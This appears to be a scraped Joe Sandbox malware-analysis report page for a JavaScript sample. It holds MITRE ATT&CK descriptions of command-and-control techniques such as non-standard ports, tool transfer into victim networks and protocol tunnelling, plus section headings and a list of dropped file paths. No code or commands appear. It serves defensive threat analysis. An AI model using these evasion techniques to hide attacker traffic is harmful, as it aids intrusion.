Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 27962100941450914990.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\46c105ce-0bf0-4838-8750-0141ecc5a01d.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7728

Windows Analysis Report
27962100941450914990.js